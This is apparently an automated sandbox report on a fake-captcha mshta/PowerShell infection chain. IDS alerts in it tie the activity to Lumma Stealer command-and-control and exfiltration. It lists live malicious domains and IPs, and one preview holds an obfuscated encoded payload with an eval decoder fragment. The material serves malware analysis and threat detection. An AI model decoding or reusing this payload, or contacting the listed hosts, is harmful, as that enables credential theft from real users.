https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.1759303262.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2688123535.00000000063DD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://atsuka.thri	powershell.exe, 00000004.00000002.1756039105.00000000050A5000.00000004.00000800.00020000.00000000.sdmp	true	unknown
https://atsukaa.thrivezest.org/winwidgetshp.jsont	mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1756039105.0000000004E11000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2688123535.0000000005371000.00000004.00000800.00020000.00000000.sdmp	false	high
https://atsukaa.thrivezest.org/winwidgetshp.jsonz	mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://solve.fizq.net/awjxs.captchaDmG	mshta.exe, 00000002.00000002.1780100750.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://atsukaMicrosoft.PowerShell.Utility.psd1	powershell.exe, 00000004.00000002.1752567349.0000000000DC3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://atsukaa.thrivezest.org/winwidgetshp.jsonf	mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.1759303262.0000000005E7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2688123535.00000000063DD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://atsukaa.thrivezest.org/winwidgetshp.jsonhttps://atsukaa.thrivezest.org/winwidgetshp.json	mshta.exe, 00000002.00000003.1778635657.0000000009475000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://stackoverflow.com/q/14436606/23354	powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	false	high
https://solve.fizq.net/awjxs.captcha&	mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.2688123535.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://solve.fizq.net/awjxs.captcha0	mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.2688123535.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 00000004.00000002.1756039105.000000000577C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://atsukaa.thrivezest.org/A	mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://solve.fizq.net/awjxs.captcha1	mshta.exe, 00000002.00000002.1780491808.0000000002802000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777514381.0000000002801000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://atsukaa.thrivezest.org/winwidgetshp.jsonstoryHistory.IE5x	mshta.exe, 00000002.00000003.1777514381.000000000282C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780491808.000000000282C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://solve.fizq.net/awjxs.captcha...	mshta.exe, 00000002.00000002.1780566253.0000000002851000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769853728.0000000002851000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://atsukaa.thrivezest.org/winwidgetshp.json...	mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769853728.0000000002851000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://atsukaa.thrivezest.org/=	mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/Icon	powershell.exe, 00000006.00000002.2688123535.00000000063DD000.00000004.00000800.00020000.00000000.sdmp	false	high
https://solve.fizq.net/awjxs.captchaWinSta0	mshta.exe, 00000002.00000002.1780385458.00000000027D0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780177793.0000000000680000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/mgravell/protobuf-net	powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	false	high
https://atsukaa.thrivezest.org/winwidgetshp.jsoneval(GbaEXk.replace(/(..)./g	mshta.exe, 00000002.00000003.1778635657.0000000009484000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://atsukaa.thrivezest.org/5	mshta.exe, 00000002.00000003.1693843540.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.2688123535.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://atsukaa.thrivezest.org/winwidgetshp.jsonnC:	mshta.exe, 00000002.00000003.1778044565.000000000286D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769853728.000000000286D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780645994.000000000286D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://solve.fizq.net/awjxs.captchaP	mshta.exe, 00000002.00000003.1777514381.000000000282C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780491808.000000000282C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://solve.fizq.net/	mshta.exe, 00000002.00000003.1777514381.000000000282C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780491808.000000000282C000.00000004.00000020.00020000.00000000.sdmp	true	unknown
https://stackoverflow.com/q/2152978/23354	powershell.exe, 00000006.00000002.2728791502.0000000008FA0000.00000004.08000000.00040000.00000000.sdmp	false	high
https://atsuka.thrivezest.org	powershell.exe, 00000006.00000002.2688123535.00000000054C8000.00000004.00000800.00020000.00000000.sdmp	true	unknown
https://atsukaa.thrivezest.org/winwidgetshp.json...#	mshta.exe, 00000002.00000002.1780566253.0000000002851000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://atsukaa.thrivezest.org/winwidgetshp.json..z	mshta.exe, 00000002.00000003.1771739310.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1778219952.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.1780742700.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1769456285.000000000288D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.1777417643.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.18.182	atsukaa.thrivezest.org	United States	13335	CLOUDFLARENETUS	false
172.67.131.114	solve.fizq.net	United States	13335	CLOUDFLARENETUS	true
172.67.183.27	atsuka.thrivezest.org	United States	13335	CLOUDFLARENETUS	true
172.67.151.193	locketplyxx.click	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579343
Start date and time:	2024-12-21 20:12:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowscmdlinecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.win@12/7@4/4
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 93% Number of executed functions: 94 Number of non-executed functions: 33

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 7356 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 7572 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:13:37	API Interceptor	57x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.131.114	987123.exe	Get hash	malicious	LummaC, Eternity Stealer, LummaC Stealer, SmokeLoader, Stealc, zgRAT	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	LightSpoofer.exe	Get hash	malicious	Unknown	Browse	104.26.9.59
	Solara-3.0.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.16.1
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse	104.18.18.237
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.197.170
	finathot.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.178.25
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
CLOUDFLARENETUS	LightSpoofer.exe	Get hash	malicious	Unknown	Browse	104.26.9.59
	Solara-3.0.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.16.1
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse	104.18.18.237
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.197.170
	finathot.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.178.25
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
CLOUDFLARENETUS	LightSpoofer.exe	Get hash	malicious	Unknown	Browse	104.26.9.59
	Solara-3.0.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.16.1
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse	104.18.18.237
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.197.170
	finathot.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.178.25
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
CLOUDFLARENETUS	LightSpoofer.exe	Get hash	malicious	Unknown	Browse	104.26.9.59
	Solara-3.0.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.16.1
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse	104.18.18.237
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.197.170
	finathot.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.178.25
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	172.67.197.170

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	172.67.183.27
	Company Information.pdf.lnk	Get hash	malicious	Unknown	Browse	172.67.183.27
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.183.27
	Fatura227Pendente576.pdf674.msi	Get hash	malicious	Unknown	Browse	172.67.183.27
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.183.27
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.183.27
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	172.67.183.27
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	172.67.183.27
	2BI8rJKpBa.exe	Get hash	malicious	Stealc, Vidar	Browse	172.67.183.27
a0e9f5d64349fb13191bc781f81f42e1	Solara-3.0.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.151.193
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	172.67.151.193
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
	BigProject.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
	jqplot.hta	Get hash	malicious	Unknown	Browse	172.67.151.193
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
37f463bf4616ecd445d4a1937da06e19	LightSpoofer.exe	Get hash	malicious	Unknown	Browse	104.21.18.182 172.67.131.114
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.18.182 172.67.131.114
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.18.182 172.67.131.114
	Company Information.pdf.lnk	Get hash	malicious	Unknown	Browse	104.21.18.182 172.67.131.114
	Navan - Itinerary.pdf.scr.exe	Get hash	malicious	LummaC	Browse	104.21.18.182 172.67.131.114
	BigProject.exe	Get hash	malicious	LummaC	Browse	104.21.18.182 172.67.131.114
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.18.182 172.67.131.114
	jqplot.hta	Get hash	malicious	Unknown	Browse	104.21.18.182 172.67.131.114
	Set-up!.exe	Get hash	malicious	LummaC	Browse	104.21.18.182 172.67.131.114

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	1446803
Entropy (8bit):	5.091788269559735
Encrypted:	false
SSDEEP:	6144:VAi+O4ORkSraefSeVeKz2/eeWFhenE2JbOIKHeIZw:VAAa
MD5:	700EDBF1E36CDBDC5B01BD20BD68ABF2
SHA1:	DC89EDC94F9DE4316BEE29EB5FFDA06E33F1FEA4
SHA-256:	8C4F272FED7CC1545EFF3805AA41E4806AC4FB9D24219E4DF7CEF27D7AF36B18
SHA-512:	1106894A9663143BADEFED2A49FB93BD4A5E4BFFC50ED531B1A262AD0E04E066985FDBCBF3B478D9DC22F2F45EFDC707C006AE0D0268CA5F300AC71BE18CFEB3
Malicious:	false
Reputation:	low
Preview:	66q75q6ed63v74E69E6fz6eB20L6bJ6cO68e42A44x28r75J72I49f51i48h63n29G7bI76u61A72C20k47d62I61A45h58j6bs3dT20k27O27t3bp66n6fB72f20d28V76E61g72N20H73T47P65T65Z67o4fk20g3dU20j30h3bj73v47B65U65V67s4fL20c3ce20l75h72M49c51P48T63s2eg6cC65K6el67D74N68m3bv20Q73O47p65a65s67y4fL2bz2bB29g7bK76u61m72h20J68l55J54c4fC49b20a3dG20n53D74G72w69E6ee67J2ex66e72V6fI6dF43D68H61C72k43j6ff64Z65h28L75w72F49Y51F48z63s5bZ73b47a65L65K67V4fK5da20l2dU20w34u30h32p29D3bB47o62l61g45e58C6bi20Z3ds20W47B62s61u45r58y6bh20q2bE20l68k55V54D4fK49x7dk72t65g74R75Q72n6ek20s47r62I61u45Q58m6bZ7dV3bq76r61C72i20o47I62c61P45j58m6bm20F3dp20v6bF6ch68x42e44o28v5bk35V31R34I2cF35m31J33A2cm35w32i31u2cQ35j30v33s2cS35V31W36o2cH35d31x37e2cd35h30u36w2cl35a30w33l2cy35d31k30U2cZ35t31c30C2cz34b34d38m2cE35s30p33G2cz35M32O32b2cI35z30n33H2cY34m33f34X2cr34M34O37L2cA35w32v31n2cz34a33T34Z2ct34U35p31f2cA34K33a34k2cs34o34x37Z2cL35U30d33y2cp35c31w34n2cO34E33K34m2cM34R38m37H2cw35B31G32Y2ct35p31i36o2cK35I30H33O2cM35u31f37C2cP35p31z38f2cT35w31x36W2ce35f30K37o2cJ3

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1300
Entropy (8bit):	5.397535305912226
Encrypted:	false
SSDEEP:	24:3JytZWSKco4KmM6GjKbm51s4RPQoUebIKo+mZ9t7J0gt/NK3R8QHr8H+:5yjWSU4YymI4RIoUeW+mZ9tK8NWR8QHJ
MD5:	E028E07AC49CA4FD6CB4F8E23D6A5021
SHA1:	8E4F19F9A6096E7EF222CC0F1C30622BFD5B346B
SHA-256:	8CCD09E761E1CC4FD927F1833EAF6DCB61546067E155AD7065090BD9A091BE97
SHA-512:	98E6D44A8375D60B4CA942AF54CEB0DB6E2E387629B14059E0EBB28B458306C18038DB4B426E429E01BF77DA2FA84000CD24006B0288DD80B4DCF6924FBE1F9C
Malicious:	false
Preview:	@...e.................................^..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hfgw41fq.42d.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pziobvie.pow.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v2wdiptt.5ji.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w1plfcxf.wka.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-21T20:15:17.320337+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49820	172.67.151.193	443	TCP
2024-12-21T20:15:29.277426+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49820	172.67.151.193	443	TCP
2024-12-21T20:15:29.277426+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49820	172.67.151.193	443	TCP
2024-12-21T20:15:30.559614+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49821	172.67.151.193	443	TCP
2024-12-21T20:15:31.626648+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49821	172.67.151.193	443	TCP
2024-12-21T20:15:31.626648+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49821	172.67.151.193	443	TCP
2024-12-21T20:15:33.167030+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49822	172.67.151.193	443	TCP
2024-12-21T20:15:35.427327+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49823	172.67.151.193	443	TCP
2024-12-21T20:15:37.627879+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49824	172.67.151.193	443	TCP
2024-12-21T20:15:39.914752+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49825	172.67.151.193	443	TCP
2024-12-21T20:15:42.264208+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49826	172.67.151.193	443	TCP
2024-12-21T20:15:43.119694+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49826	172.67.151.193	443	TCP
2024-12-21T20:15:43.815217+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49827	172.67.151.193	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 20:13:31.188186884 CET	49732	443	192.168.2.4	172.67.131.114
Dec 21, 2024 20:13:31.188225985 CET	443	49732	172.67.131.114	192.168.2.4
Dec 21, 2024 20:13:31.188292980 CET	49732	443	192.168.2.4	172.67.131.114
Dec 21, 2024 20:13:31.201715946 CET	49732	443	192.168.2.4	172.67.131.114
Dec 21, 2024 20:13:31.201730967 CET	443	49732	172.67.131.114	192.168.2.4
Dec 21, 2024 20:13:32.421503067 CET	443	49732	172.67.131.114	192.168.2.4
Dec 21, 2024 20:13:32.421679020 CET	49732	443	192.168.2.4	172.67.131.114
Dec 21, 2024 20:13:32.471282959 CET	49732	443	192.168.2.4	172.67.131.114
Dec 21, 2024 20:13:32.471302032 CET	443	49732	172.67.131.114	192.168.2.4
Dec 21, 2024 20:13:32.471673965 CET	443	49732	172.67.131.114	192.168.2.4
